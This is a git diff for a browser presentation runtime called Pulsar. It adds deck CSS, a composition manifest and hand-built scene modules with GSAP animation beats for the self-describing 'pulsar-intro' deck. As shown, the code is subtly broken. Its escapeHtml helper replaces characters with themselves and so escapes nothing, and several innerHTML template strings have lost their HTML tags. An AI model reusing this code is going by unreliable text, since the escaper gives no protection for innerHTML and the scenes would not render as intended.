padding-left: clamp(16px, 1.5vw, 24px); + text-indent: calc(clamp(16px, 1.5vw, 24px) * -1); + margin-bottom: clamp(10px, 1.2vh, 16px); + color: var(--ax-ink); + opacity: 0; +} + +.aces-intro .ax-refs__id { + font-family: var(--ax-mono); + font-size: 0.85em; + color: var(--ax-accent); + margin-right: 6px; +} + +.aces-intro .ax-refs__path { + font-family: var(--ax-mono); + font-size: 0.82em; + color: var(--ax-mute); +} diff --git a/src/decks/pulsar-intro/composition.ts b/src/decks/pulsar-intro/composition.ts index 95ca208..d7786f7 100644 --- a/src/decks/pulsar-intro/composition.ts +++ b/src/decks/pulsar-intro/composition.ts @@ -1,32 +1,37 @@ -// Pulsar reference deck — composition manifest. +// Pulsar reference deck composition. // -// 15 scenes in order. Half the boundaries declare an inter-scene -// transition (cut / dissolve / hard-slam / hold-on-black / push) so -// the deck exercises every shipped transition shape at least once. +// The manifest is the canonical sequence the workbench plays for +// `?composition=pulsar-intro`. Transitions are declared per-entry by +// the composition; scenes carry no successor knowledge. import type { CompositionManifest } from '../../runtime/composition'; import type { CompositionRegistryEntry } from '../../runtime/composition-registry'; export const PULSAR_INTRO_COMPOSITION_ID = 'pulsar-intro'; +const transition = (id: string, name: string, durationMs?: number) => ({ + id, + behavior: { + transition: { + name, + ...(durationMs === undefined ? {} : { durationMs }), + }, + }, +}); + export const pulsarIntroComposition: CompositionManifest = [ 'pi-title', - { id: 'pi-opener', behavior: { transition: { name: 'cut' } } }, - { id: 'pi-act-i', behavior: { transition: { name: 'hold-on-black', durationMs: 1100 } } }, - { id: 'pi-stat-bespoke', behavior: { transition: { name: 'dissolve' } } }, - { id: 'pi-bullets-pain', behavior: { transition: { name: 'dissolve' } } }, - { id: 'pi-act-ii', behavior: { transition: { name: 'hold-on-black', durationMs: 1100 } } }, - { id: 'pi-quote-thesis', behavior: { transition: { name: 'dissolve' } } }, - { id: 'pi-defs-layers', behavior: { transition: { name: 'push' } } }, - { id: 'pi-grid-templates', behavior: { transition: { name: 'dissolve' } } }, - { id: 'pi-outline-iii', behavior: { transition: { name: 'hard-slam' } } }, - { id: 'pi-stats-savings', behavior: { transition: { name: 'dissolve' } } }, - { id: 'pi-grid-stats', behavior: { transition: { name: 'push' } } }, - { id: 'pi-compare', behavior: { transition: { name: 'dissolve' } } }, - { id: 'pi-stack-design', behavior: { transition: { name: 'dissolve' } } }, - { id: 'pi-ticker-uptime', behavior: { transition: { name: 'dissolve' } } }, - { id: 'pi-centerpiece', behavior: { transition: { name: 'hold-on-black' } } }, - { id: 'pi-outro', behavior: { transition: { name: 'dissolve' } } }, + transition('pi-thesis', 'dissolve'), + transition('pi-scene', 'hold-on-black', 900), + transition('pi-composition', 'dissolve'), + transition('pi-recompose', 'dissolve'), + transition('pi-modes', 'hold-on-black', 900), + transition('pi-url', 'dissolve'), + transition('pi-transport', 'dissolve'), + transition('pi-layers', 'hold-on-black', 900), + transition('pi-author', 'dissolve'), + transition('pi-self', 'hold-on-black', 900), + transition('pi-outro', 'dissolve'), ]; export const pulsarIntroCompositionEntry: CompositionRegistryEntry = { diff --git a/src/decks/pulsar-intro/content.ts b/src/decks/pulsar-intro/content.ts index 4767bed..eb8500c 100644 --- a/src/decks/pulsar-intro/content.ts +++ b/src/decks/pulsar-intro/content.ts @@ -1,175 +1,1089 @@ -// Pulsar reference deck — self-referential introduction. +// Pulsar reference deck — scene content. // -// Twelve scenes that collectively exercise every L2 template, every -// chrome treatment, and every transition shape. Reachable in the -// workbench at `?composition=pulsar-intro`. -// -// This file is the proof: a deck is composition manifest + content. -// Authoring a new scene is one factory call with a content object. +// Audience: a presentation author who has never seen Pulsar. The deck +// answers what Pulsar is, what its abstractions are, and what URL modes +// the runtime ships, while running on the runtime so the answers are +// visible by demonstration. Every scene declares its own captions so +// `?mode=prompter` produces a real speaker view, and every scene +// declares named timeline beats so `?mode=scrub` can jump between them. import type { SceneModule } from '../../runtime/scene'; import { - actHeader, - bulletList, - centerpiece, - compare, - definitionTable, - introGrid, - metricTicker, - outlineTitle, - outro, - placard, - quote, - quoteStack, - statBig, - statPairGrid, - statRow, - titleSlam, -} from '../../system/templates'; + buildTemplateScene, + buildTemplateTimeline, + cleanupTemplateRoot, + mountTemplateRoot, +} from '../../system/templates/_shared'; -export const PULSAR_INTRO_SCENES: readonly SceneModule[] = [ - titleSlam('pi-title', { - title: 'Pulsar', - subtitle: 'A scene-and-composition runtime for cinematic browser presentations.', - }), - - placard('pi-opener', { - line1: 'The runtime is the product.', - line2: 'Reference deck — built on the L2 system layer', - }), - - actHeader('pi-act-i', { act: 'I', section: 'Why' }), - - statBig('pi-stat-bespoke', { - value: '12k', - label: 'lines of bespoke code per deck, today', - }), - - bulletList('pi-bullets-pain', { - eyebrow: 'the problem', - title: 'Every deck is a fresh refactor.', - bullets: [ - 'Hand-rolled vignette, scanlines, grain, glitch — once per deck.', - 'Hand-rolled keyboard advance, abortable sleep, type-on text.', - 'Hand-rolled scene templates — title, stat row, quote, intro grid.', - 'No reuse across talks. No design system. No system layer at all.', - ], - }), - - actHeader('pi-act-ii', { act: 'II', section: 'What' }), - - quote('pi-quote-thesis', { - text: 'A deck should be composition + content + a small overrides pack — not a system rebuild.', - attribution: 'pulsar', - }), - - definitionTable('pi-defs-layers', { - eyebrow: 'three layers', - title: 'The system makes the deck cheap.', - rows: [ +type SurfaceKind = 'ink' | 'paper'; + +interface BeatTimeline { + addLabel(name: string, time?: number): unknown; + fromTo(target: unknown, from: object, to: object, position?: number | string): unknown; + to(target: unknown, vars: object, position?: number | string): unknown; + set(target: unknown, vars: object, position?: number | string): unknown; + call(fn: () => void, params?: unknown[], position?: number | string): unknown; +} + +interface SceneSpec { + readonly id: string; + readonly title: string; + readonly caption: string; + readonly surface: SurfaceKind; + readonly section?: string; + readonly build: (root: HTMLElement, ownerDoc: Document) => void; + readonly beats: (tl: BeatTimeline, rootValue: string) => void; + /** + * When true, the L2 envelope's trailing tween is extended to an + * effectively-indefinite duration. The composition master never + * reaches its natural end, so the resolver does not tear scenes + * down — reverse-navigation (`skip-backward`) keeps working from + * the end-of-deck state. Used only by the final scene of the + * composition. + */ + readonly holdForever?: boolean; +} + +// Build a Pulsar-deck scene. Mounts a scene root that carries the +// runtime's activation envelope plus the `.pulsar-intro` and surface +// classes the deck CSS keys on. The build callback authors the scene +// DOM; the beats callback authors the GSAP timeline within the +// runtime's standard activate-then-deactivate envelope. +const buildScene = (spec: SceneSpec): SceneModule => + buildTemplateScene({ + id: spec.id, + title: spec.title, + captions: [{ at: 'in', text: spec.caption }], + tags: ['pulsar-intro'], + create: (ctx) => { + mountTemplateRoot({ + ctx, + rootValue: spec.id, + templateKind: spec.id, + extraClasses: ['pulsar-intro', `pi-surface--${spec.surface}`], + buildChildren: (root, ownerDoc) => { + spec.build(root as unknown as HTMLElement, ownerDoc as unknown as Document); + appendFolio(root as unknown as HTMLElement, ownerDoc as unknown as Document, spec); + }, + }); + }, + timeline: (ctx) => + buildTemplateTimeline({ + ctx, + rootValue: spec.id, + // 1 hour effectively means "until the user navigates away". + // The runtime's natural-end teardown is the only thing that + // prevents `skip-backward` from working past the last scene; + // an indefinite trailing tween keeps the master alive. + suffixDurationSeconds: spec.holdForever === true ? 3600 : 0.8, + buildSegments: (tl) => { + spec.beats(tl as unknown as BeatTimeline, spec.id); + }, + }), + cleanup: cleanupTemplateRoot(spec.id), + }); + +const escapeHtml = (value: string): string => + value + .replaceAll('&', '&') + .replaceAll('<', '<') + .replaceAll('>', '>') + .replaceAll('"', '"'); + +// Render a sequence of display tokens as a string of inline-block +// spans joined by literal text-node spaces. Inline-block elements +// collapse leading/trailing whitespace inside their own textContent, +// so the spaces have to live in text nodes between the spans. +const renderDisplayWords = (words: readonly { text: string; em?: boolean }[]): string => + words + .map((w) => { + const cls = w.em === true ? 'pi-display__w pi-display__em' : 'pi-display__w'; + return `${escapeHtml(w.text)}`; + }) + .join(''); + +const appendFolio = (root: HTMLElement, doc: Document, spec: SceneSpec): void => { + const folio = doc.createElement('div'); + folio.className = 'pi-folio'; + const mark = doc.createElement('span'); + mark.className = 'pi-folio__mark'; + mark.textContent = 'PULSAR'; + const section = doc.createElement('span'); + section.textContent = spec.section ?? spec.id; + folio.appendChild(mark); + folio.appendChild(section); + root.appendChild(folio); +}; + +const sel = (sceneId: string, cls: string): string => `[data-pulsar-template="${sceneId}"] ${cls}`; + +// ---------------------------------------------------------------------- +// Scene 01 — Title +// ---------------------------------------------------------------------- + +const titleScene = buildScene({ + id: 'pi-title', + title: 'Pulsar — title', + caption: 'Pulsar. A scene-and-composition runtime.', + surface: 'ink', + section: '01', + build: (root, doc) => { + const frame = doc.createElement('div'); + frame.className = 'pi-frame pi-frame--center'; + + const h1 = doc.createElement('h1'); + h1.className = 'pi-title'; + const word = 'Pulsar'; + for (const ch of word) { + const span = doc.createElement('span'); + span.className = 'pi-title__a'; + span.textContent = ch; + h1.appendChild(span); + } + const dot = doc.createElement('span'); + dot.className = 'pi-title__dot'; + dot.textContent = '.'; + h1.appendChild(dot); + + const sub = doc.createElement('p'); + sub.className = 'pi-subtitle'; + sub.textContent = 'A scene-and-composition runtime for browser presentations.'; + + frame.appendChild(h1); + frame.appendChild(sub); + root.appendChild(frame); + }, + beats: (tl, id) => { + tl.addLabel('title-in', 0); + tl.fromTo( + sel(id, '.pi-title__a'), + { opacity: 0, y: 22 }, + { opacity: 1, y: 0, duration: 0.6, stagger: 0.035, ease: 'expo.out' }, + 0, + ); + tl.fromTo( + sel(id, '.pi-title__dot'), + { opacity: 0, y: 22 }, + { opacity: 1, y: 0, duration: 0.6, ease: 'expo.out' }, + 0.32, + ); + tl.addLabel('subtitle-in', 0.9); + tl.fromTo( + sel(id, '.pi-subtitle'), + { opacity: 0, y: 10 }, + { opacity: 1, y: 0, duration: 0.5, ease: 'expo.out' }, + 0.9, + ); + tl.to({}, { duration: 1.2 }); + }, +}); + +// ---------------------------------------------------------------------- +// Scene 02 — Thesis +// ---------------------------------------------------------------------- + +const thesisScene = buildScene({ + id: 'pi-thesis', + title: 'Pulsar — thesis', + caption: 'A presentation is a composition of scenes.', + surface: 'paper', + section: '02', + build: (root, doc) => { + const frame = doc.createElement('div'); + frame.className = 'pi-frame pi-frame--center'; + + const display = doc.createElement('h2'); + display.className = 'pi-display'; + display.innerHTML = renderDisplayWords([ + { text: 'A' }, + { text: 'presentation' }, + { text: 'is' }, + { text: 'a' }, + { text: 'composition', em: true }, + { text: 'of' }, + { text: 'scenes.', em: true }, + ]); + frame.appendChild(display); + root.appendChild(frame); + }, + beats: (tl, id) => { + tl.addLabel('display-in', 0); + tl.fromTo( + sel(id, '.pi-display__w'), + { opacity: 0, y: 18 }, + { opacity: 1, y: 0, duration: 0.7, stagger: 0.06, ease: 'expo.out' }, + 0, + ); + tl.to({}, { duration: 2.0 }); + }, +}); + +// ---------------------------------------------------------------------- +// Scene 03 — Scene definition +// ---------------------------------------------------------------------- + +const sceneScene = buildScene({ + id: 'pi-scene', + title: 'Pulsar — scene', + caption: 'A scene is a module with an id, a timeline, assets, captions, and a cleanup function.', + surface: 'ink', + section: '03', + build: (root, doc) => { + const frame = doc.createElement('div'); + frame.className = 'pi-frame'; + + const eyebrow = doc.createElement('div'); + eyebrow.className = 'pi-eyebrow'; + eyebrow.textContent = 'Abstraction · 1 of 2'; + + const heading = doc.createElement('h2'); + heading.className = 'pi-heading'; + heading.textContent = 'Scene'; + + const body = doc.createElement('p'); + body.className = 'pi-body'; + body.textContent = + 'A module with an id, a timeline, assets, captions, and a cleanup function. Scenes do not know about each other and they do not parse URL state.'; + + const code = doc.createElement('pre'); + code.className = 'pi-code'; + code.innerHTML = [ + 'interface SceneModule {', + ' id: string', + ' title: string', + ' duration: number | null', + ' assets: readonly string[]', + ' captions: readonly Caption[]', + ' audio: readonly string[]', + ' create: (ctx) => void', + ' timeline: (ctx) => GsapTimeline | null', + ' cleanup: (ctx) => void', + '}', + ].join('\n'); + + frame.appendChild(eyebrow); + frame.appendChild(heading); + frame.appendChild(body); + frame.appendChild(code); + root.appendChild(frame); + }, + beats: (tl, id) => { + tl.addLabel('eyebrow-in', 0); + tl.fromTo( + sel(id, '.pi-eyebrow'), + { opacity: 0, y: 6 }, + { opacity: 1, y: 0, duration: 0.4, ease: 'expo.out' }, + 0, + ); + tl.addLabel('heading-in', 0.25); + tl.fromTo( + sel(id, '.pi-heading'), + { opacity: 0, y: 12 }, + { opacity: 1, y: 0, duration: 0.5, ease: 'expo.out' }, + 0.25, + ); + tl.addLabel('body-in', 0.6); + tl.fromTo( + sel(id, '.pi-body'), + { opacity: 0, y: 10 }, + { opacity: 1, y: 0, duration: 0.5, ease: 'expo.out' }, + 0.6, + ); + tl.addLabel('shape-in', 1.0); + tl.fromTo( + sel(id, '.pi-code'), + { opacity: 0, y: 12 }, + { opacity: 1, y: 0, duration: 0.6, ease: 'expo.out' }, + 1.0, + ); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// Scene 04 — Composition definition +// ---------------------------------------------------------------------- + +const compositionScene = buildScene({ + id: 'pi-composition', + title: 'Pulsar — composition', + caption: + 'A composition is an ordered list of scene ids with transitions. The manifest is data, not control flow.', + surface: 'ink', + section: '04', + build: (root, doc) => { + const frame = doc.createElement('div'); + frame.className = 'pi-frame'; + + const eyebrow = doc.createElement('div'); + eyebrow.className = 'pi-eyebrow'; + eyebrow.textContent = 'Abstraction · 2 of 2'; + + const heading = doc.createElement('h2'); + heading.className = 'pi-heading'; + heading.textContent = 'Composition'; + + const body = doc.createElement('p'); + body.className = 'pi-body'; + body.textContent = + 'An ordered list of scene ids with transitions. The manifest is data, not control flow. Sequencing belongs to the composition layer; scenes contain no successor knowledge.'; + + const code = doc.createElement('pre'); + code.className = 'pi-code'; + code.innerHTML = [ + 'const manifest: CompositionManifest = [', + ' // bare scene id', + " 'opening',", + ' // per-entry override: transition declared by the composition', + " { id: 'walkthrough', behavior: { transition: { name: 'dissolve' } } },", + " { id: 'demo', behavior: { transition: { name: 'hold-on-black' } } },", + " { id: 'closing' },", + ']', + ].join('\n'); + + frame.appendChild(eyebrow); + frame.appendChild(heading); + frame.appendChild(body); + frame.appendChild(code); + root.appendChild(frame); + }, + beats: (tl, id) => { + tl.addLabel('eyebrow-in', 0); + tl.fromTo( + sel(id, '.pi-eyebrow'), + { opacity: 0, y: 6 }, + { opacity: 1, y: 0, duration: 0.4, ease: 'expo.out' }, + 0, + ); + tl.addLabel('heading-in', 0.25); + tl.fromTo( + sel(id, '.pi-heading'), + { opacity: 0, y: 12 }, + { opacity: 1, y: 0, duration: 0.5, ease: 'expo.out' }, + 0.25, + ); + tl.addLabel('body-in', 0.6); + tl.fromTo( + sel(id, '.pi-body'), + { opacity: 0, y: 10 }, + { opacity: 1, y: 0, duration: 0.5, ease: 'expo.out' }, + 0.6, + ); + tl.addLabel('shape-in', 1.0); + tl.fromTo( + sel(id, '.pi-code'), + { opacity: 0, y: 12 }, + { opacity: 1, y: 0, duration: 0.6, ease: 'expo.out' }, + 1.0, + ); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// Scene 05 — Recomposition +// ---------------------------------------------------------------------- + +const recomposeScene = buildScene({ + id: 'pi-recompose', + title: 'Pulsar — recomposition', + caption: 'The same scene modules can be sequenced into different compositions.', + surface: 'paper', + section: '05', + build: (root, doc) => { + const frame = doc.createElement('div'); + frame.className = 'pi-frame'; + + const eyebrow = doc.createElement('div'); + eyebrow.className = 'pi-eyebrow'; + eyebrow.textContent = 'Recomposition'; + + const heading = doc.createElement('h2'); + heading.className = 'pi-heading'; + heading.textContent = 'Same scenes. Different compositions.'; + + const body = doc.createElement('p'); + body.className = 'pi-body'; + body.textContent = + 'Scenes are owned by no single composition. A library of scenes can be sequenced into a full talk, a short cut for a meetup, or a looping kiosk reel without forking.'; + + const tri = doc.createElement('div'); + tri.className = 'pi-tri'; + + const shared = new Set(['opener', 'thesis', 'recompose']); + const columns: readonly { name: string; scenes: readonly string[] }[] = [ { - cat: 'L1 — Engine', - rule: 'scene contract, composition resolver, GSAP, audio, navigation, validation.', - mod: 'green', + name: 'Full talk', + scenes: [ + 'opener', + 'thesis', + 'scene', + 'composition', + 'recompose', + 'modes', + 'transport', + 'layers', + 'author', + 'self', + 'outro', + ], }, { - cat: 'L2 — System', - rule: 'tokens, chrome pack, scene templates, transitions, presenter UX.', - mod: 'amber', + name: 'Five-minute cut', + scenes: ['opener', 'thesis', 'recompose', 'modes', 'outro'], }, { - cat: 'L3 — Deck', - rule: 'composition manifest + per-scene content + small token overrides.', - mod: 'clear', + name: 'Lobby loop', + scenes: ['opener', 'thesis', 'recompose'], }, - ], - }), - - introGrid('pi-grid-templates', { - title: 'The L2 template library.', - roles: [ - { role: 'titleSlam', primary: true }, - { role: 'actHeader' }, - { role: 'centerpiece' }, - { role: 'statBig / statRow / statPairGrid' }, - { role: 'quote / quoteStack' }, - { role: 'bulletList' }, - { role: 'introGrid / definitionTable' }, - { role: 'compare / screenshotCallouts' }, - { role: 'metricTicker / terminal / placard / outlineTitle / outro', primary: true }, - ], - }), - - outlineTitle('pi-outline-iii', { index: 3, title: 'How it composes' }), - - statRow('pi-stats-savings', { - eyebrow: 'before & after', - title: 'A second deck is hours, not days.', - rows: [ - ['~12k → ~1k', 'lines of authored code per deck'], - ['~50 → ~12', 'templates the author needs to know'], - ['0 → 18', 'shipped template factories'], - ['0 → 5', 'shipped inter-scene transitions'], - ['hand-roll', 'replaced by `import { titleSlam } from `pulsar/system`'], - ], - }), - - statPairGrid('pi-grid-stats', { - eyebrow: 'by the numbers', - title: 'What this PR ships.', - pairs: [ - ['18', 'scene templates'], - ['5', 'inter-scene transitions'], - ['1', 'opinionated visual register'], - ['9', 'chrome effect helpers'], - ['4', 'helper module surfaces'], - ], - }), - - compare('pi-compare', { - headline: 'The asymmetry.', - left: 'Bespoke: every visual concern re-invented, every keyboard binding hand-wired, every CSS file from scratch. 12k LOC. Weeks per deck.', - right: - 'Pulsar L2: every visual concern token-driven, every keyboard binding inherited, every scene a template factory call. ~1k LOC of content. Days per deck.', - }), - - quoteStack('pi-stack-design', { - eyebrow: 'what made the cut', - title: 'Design decisions.', - quotes: [ + ]; + + for (const col of columns) { + const colEl = doc.createElement('div'); + colEl.className = 'pi-tri__col'; + + const name = doc.createElement('p'); + name.className = 'pi-tri__name'; + name.textContent = col.name; + + const rule = doc.createElement('div'); + rule.className = 'pi-tri__rule'; + + const list = doc.createElement('ol'); + list.className = 'pi-tri__list'; + col.scenes.forEach((scene, idx) => { + const li = doc.createElement('li'); + li.className = shared.has(scene) ? 'pi-tri__item pi-tri__item--shared' : 'pi-tri__item'; + const num = doc.createElement('span'); + num.className = 'pi-tri__num'; + num.textContent = String(idx + 1).padStart(2, '0'); + const sceneId = doc.createElement('span'); + sceneId.className = 'pi-tri__id'; + sceneId.textContent = scene; + li.appendChild(num); + li.appendChild(sceneId); + list.appendChild(li); + }); + + colEl.appendChild(name); + colEl.appendChild(rule); + colEl.appendChild(list); + tri.appendChild(colEl); + } + + frame.appendChild(eyebrow); + frame.appendChild(heading); + frame.appendChild(body); + frame.appendChild(tri); + root.appendChild(frame); + }, + beats: (tl, id) => { + tl.addLabel('eyebrow-in', 0); + tl.fromTo( + sel(id, '.pi-eyebrow'), + { opacity: 0, y: 6 }, + { opacity: 1, y: 0, duration: 0.4, ease: 'expo.out' }, + 0, + ); + tl.addLabel('heading-in', 0.25); + tl.fromTo( + sel(id, '.pi-heading'), + { opacity: 0, y: 12 }, + { opacity: 1, y: 0, duration: 0.5, ease: 'expo.out' }, + 0.25, + ); + tl.addLabel('body-in', 0.6); + tl.fromTo( + sel(id, '.pi-body'), + { opacity: 0, y: 10 }, + { opacity: 1, y: 0, duration: 0.5, ease: 'expo.out' }, + 0.6, + ); + tl.addLabel('cols-in', 1.0); + tl.fromTo( + sel(id, '.pi-tri__col'), + { opacity: 0, y: 18 }, + { opacity: 1, y: 0, duration: 0.7, stagger: 0.18, ease: 'expo.out' }, + 1.0, + ); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// Scene 06 — Modes +// ---------------------------------------------------------------------- + +const modesScene = buildScene({ + id: 'pi-modes', + title: 'Pulsar — modes', + caption: 'The same composition runs in many modes. Mode is read from the URL.', + surface: 'ink', + section: '06', + build: (root, doc) => { + const frame = doc.createElement('div'); + frame.className = 'pi-frame'; + + const eyebrow = doc.createElement('div'); + eyebrow.className = 'pi-eyebrow'; + eyebrow.textContent = 'Modes'; + + const heading = doc.createElement('h2'); + heading.className = 'pi-heading'; + heading.textContent = 'One composition, many modes.'; + + const grid = doc.createElement('div'); + grid.className = 'pi-modes'; + + const rows: readonly { url: string; desc: string }[] = [ { - text: 'One opinionated visual register — cinematic thriller. Deck-specific overrides at the token level.', - attribution: 'Visual', + url: '?mode=present', + desc: 'Full composition. Audio unlock, presenter keys, transport gates.', }, + { url: '?mode=scrub', desc: 'Manual transport. Beat jumps. Reverse-safe audio gating.' }, + { url: '?mode=prompter', desc: 'Captions only. No animation. A second window can pop out.' }, + { url: '?mode=loop', desc: 'Composition repeats until aborted.' }, + { url: '?mode=paused', desc: 'Hold at frame zero. Useful for inspection.' }, { - text: 'Transitions tween a transient overlay, never scene-owned DOM.', - attribution: 'Runtime', + url: '?mode=screenshot', + desc: 'Deterministic frame. Seeded RNG. Silent audio. Capture-ready.', }, + ]; + for (const r of rows) { + const url = doc.createElement('div'); + url.className = 'pi-modes__url'; + const eq = r.url.indexOf('='); + url.innerHTML = `${r.url.slice(0, eq + 1)}${r.url.slice(eq + 1)}`; + + const desc = doc.createElement('div'); + desc.className = 'pi-modes__desc'; + desc.textContent = r.desc; + + grid.appendChild(url); + grid.appendChild(desc); + } + + frame.appendChild(eyebrow); + frame.appendChild(heading); + frame.appendChild(grid); + root.appendChild(frame); + }, + beats: (tl, id) => { + tl.addLabel('eyebrow-in', 0); + tl.fromTo( + sel(id, '.pi-eyebrow'), + { opacity: 0, y: 6 }, + { opacity: 1, y: 0, duration: 0.4, ease: 'expo.out' }, + 0, + ); + tl.addLabel('heading-in', 0.25); + tl.fromTo( + sel(id, '.pi-heading'), + { opacity: 0, y: 12 }, + { opacity: 1, y: 0, duration: 0.5, ease: 'expo.out' }, + 0.25, + ); + tl.addLabel('rows-in', 0.7); + tl.fromTo( + sel(id, '.pi-modes__url'), + { opacity: 0, x: -8 }, + { opacity: 1, x: 0, duration: 0.4, stagger: 0.09, ease: 'expo.out' }, + 0.7, + ); + tl.fromTo( + sel(id, '.pi-modes__desc'), + { opacity: 0 }, + { opacity: 1, duration: 0.4, stagger: 0.09, ease: 'expo.out' }, + 0.78, + ); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// Scene 07 — URL rule +// ---------------------------------------------------------------------- + +const urlScene = buildScene({ + id: 'pi-url', + title: 'Pulsar — URL', + caption: 'The URL is the only source of mode.', + surface: 'paper', + section: '07', + build: (root, doc) => { + const frame = doc.createElement('div'); + frame.className = 'pi-frame pi-frame--center'; + + const display = doc.createElement('h2'); + display.className = 'pi-display'; + display.innerHTML = renderDisplayWords([ + { text: 'The' }, + { text: 'URL' }, + { text: 'is' }, + { text: 'the' }, + { text: 'only' }, + { text: 'source' }, + { text: 'of' }, + { text: 'mode.', em: true }, + ]); + + const url = doc.createElement('p'); + url.className = 'pi-body'; + url.style.fontFamily = 'var(--pi-mono)'; + url.style.marginTop = 'clamp(28px, 3vh, 48px)'; + url.style.textAlign = 'center'; + url.innerHTML = + '?composition=<id>&mode=<mode>&scene=<id>&beat=<label>'; + + frame.appendChild(display); + frame.appendChild(url); + root.appendChild(frame); + }, + beats: (tl, id) => { + tl.addLabel('display-in', 0); + tl.fromTo( + sel(id, '.pi-display__w'), + { opacity: 0, y: 16 }, + { opacity: 1, y: 0, duration: 0.6, stagger: 0.06, ease: 'expo.out' }, + 0, + ); + tl.addLabel('url-in', 0.9); + tl.fromTo( + sel(id, '.pi-body'), + { opacity: 0, y: 10 }, + { opacity: 1, y: 0, duration: 0.5, ease: 'expo.out' }, + 0.9, + ); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// Scene 08 — Transport +// ---------------------------------------------------------------------- + +const transportScene = buildScene({ + id: 'pi-transport', + title: 'Pulsar — transport', + caption: 'Transitions, named beats, scrub, audio, prompter, presenter keys.', + surface: 'ink', + section: '08', + build: (root, doc) => { + const frame = doc.createElement('div'); + frame.className = 'pi-frame'; + + const eyebrow = doc.createElement('div'); + eyebrow.className = 'pi-eyebrow'; + eyebrow.textContent = 'Transport'; + + const heading = doc.createElement('h2'); + heading.className = 'pi-heading'; + heading.textContent = 'What the runtime owns.'; + + const grid = doc.createElement('div'); + grid.className = 'pi-modes'; + + const rows: readonly { url: string; desc: string }[] = [ + { url: 'inter-scene transitions', desc: 'cut, dissolve, hard-slam, hold-on-black, push.' }, + { url: 'named beats', desc: 'Kebab labels on each scene timeline. Addressable by URL.' }, + { url: 'audio service', desc: 'Per-navigation Howler engine with a reverse-safe cue gate.' }, + { url: 'prompter', desc: 'Captions rendered in a chrome slot or a popped-out window.' }, + { url: 'presenter keys', desc: 'Advance, reverse, skip, pause, resume, mute, home.' }, { - text: 'Mount-then-play stays; templates own activation timing on the master.', - attribution: 'Lifecycle', + url: 'asset preloader', + desc: 'Scenes declare assets. The loader warms them per navigation.', }, - ], - }), - - metricTicker('pi-ticker-uptime', { - eyebrow: 'live', - title: 'Authoring throughput.', - metrics: [ - { label: 'Templates available', direction: 'up', start: 18, step: 0, suffix: '' }, - { label: 'Decks authored', direction: 'up', start: 1, step: 0, suffix: '' }, - { label: 'Lines per scene', direction: 'down', start: 60, step: 0, suffix: '' }, - { label: 'Per-deck CSS lines', direction: 'down', start: 0, step: 0, suffix: '' }, - ], - }), - - centerpiece('pi-centerpiece', { - quote: 'Reuse the engine. Reuse the system. Author the deck.', - attribution: 'pulsar/L2', - }), - - outro('pi-outro', { - title: 'You are watching this deck on the system that built it.', - subtitle: 'Press → / Space to advance, ← back, P to hold, M to mute, Esc home.', - }), + ]; + for (const r of rows) { + const url = doc.createElement('div'); + url.className = 'pi-modes__url'; + url.textContent = r.url; + + const desc = doc.createElement('div'); + desc.className = 'pi-modes__desc'; + desc.textContent = r.desc; + + grid.appendChild(url); + grid.appendChild(desc); + } + + frame.appendChild(eyebrow); + frame.appendChild(heading); + frame.appendChild(grid); + root.appendChild(frame); + }, + beats: (tl, id) => { + tl.addLabel('eyebrow-in', 0); + tl.fromTo( + sel(id, '.pi-eyebrow'), + { opacity: 0, y: 6 }, + { opacity: 1, y: 0, duration: 0.4, ease: 'expo.out' }, + 0, + ); + tl.addLabel('heading-in', 0.25); + tl.fromTo( + sel(id, '.pi-heading'), + { opacity: 0, y: 12 }, + { opacity: 1, y: 0, duration: 0.5, ease: 'expo.out' }, + 0.25, + ); + tl.addLabel('rows-in', 0.7); + tl.fromTo( + sel(id, '.pi-modes__url'), + { opacity: 0, x: -8 }, + { opacity: 1, x: 0, duration: 0.4, stagger: 0.09, ease: 'expo.out' }, + 0.7, + ); + tl.fromTo( + sel(id, '.pi-modes__desc'), + { opacity: 0 }, + { opacity: 1, duration: 0.4, stagger: 0.09, ease: 'expo.out' }, + 0.78, + ); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// Scene 09 — Layers +// ---------------------------------------------------------------------- + +const layersScene = buildScene({ + id: 'pi-layers', + title: 'Pulsar — layers', + caption: 'Three layers: engine, system, deck.', + surface: 'paper', + section: '09', + build: (root, doc) => { + const frame = doc.createElement('div'); + frame.className = 'pi-frame'; + + const eyebrow = doc.createElement('div'); + eyebrow.className = 'pi-eyebrow'; + eyebrow.textContent = 'Architecture'; + + const heading = doc.createElement('h2'); + heading.className = 'pi-heading'; + heading.textContent = 'Three layers.'; + + const grid = doc.createElement('div'); + grid.className = 'pi-layers'; + + const layers: readonly { tag: string; name: string; items: readonly string[] }[] = [ + { + tag: 'L1', + name: 'Engine', + items: ['registry', 'resolver', 'loader', 'timeline', 'audio', 'validation'], + }, + { + tag: 'L2', + name: 'System', + items: ['chrome', 'transitions', 'prompter', 'presenter keys', 'scrub controls'], + }, + { + tag: 'L3', + name: 'Deck', + items: ['scene modules', 'composition manifest', 'per-deck CSS'], + }, + ]; + for (const l of layers) { + const layer = doc.createElement('div'); + layer.className = 'pi-layer'; + + const tag = doc.createElement('div'); + tag.className = 'pi-layer__tag'; + tag.textContent = l.tag; + + const name = doc.createElement('h3'); + name.className = 'pi-layer__name'; + name.textContent = l.name; + + const list = doc.createElement('ul'); + list.className = 'pi-layer__list'; + for (const item of l.items) { + const li = doc.createElement('li'); + li.textContent = item; + list.appendChild(li); + } + + layer.appendChild(tag); + layer.appendChild(name); + layer.appendChild(list); + grid.appendChild(layer); + } + + frame.appendChild(eyebrow); + frame.appendChild(heading); + frame.appendChild(grid); + root.appendChild(frame); + }, + beats: (tl, id) => { + tl.addLabel('eyebrow-in', 0); + tl.fromTo( + sel(id, '.pi-eyebrow'), + { opacity: 0, y: 6 }, + { opacity: 1, y: 0, duration: 0.4, ease: 'expo.out' }, + 0, + ); + tl.addLabel('heading-in', 0.25); + tl.fromTo( + sel(id, '.pi-heading'), + { opacity: 0, y: 12 }, + { opacity: 1, y: 0, duration: 0.5, ease: 'expo.out' }, + 0.25, + ); + tl.addLabel('layers-in', 0.7); + tl.fromTo( + sel(id, '.pi-layer'), + { opacity: 0, y: 18 }, + { opacity: 1, y: 0, duration: 0.6, stagger: 0.16, ease: 'expo.out' }, + 0.7, + ); + 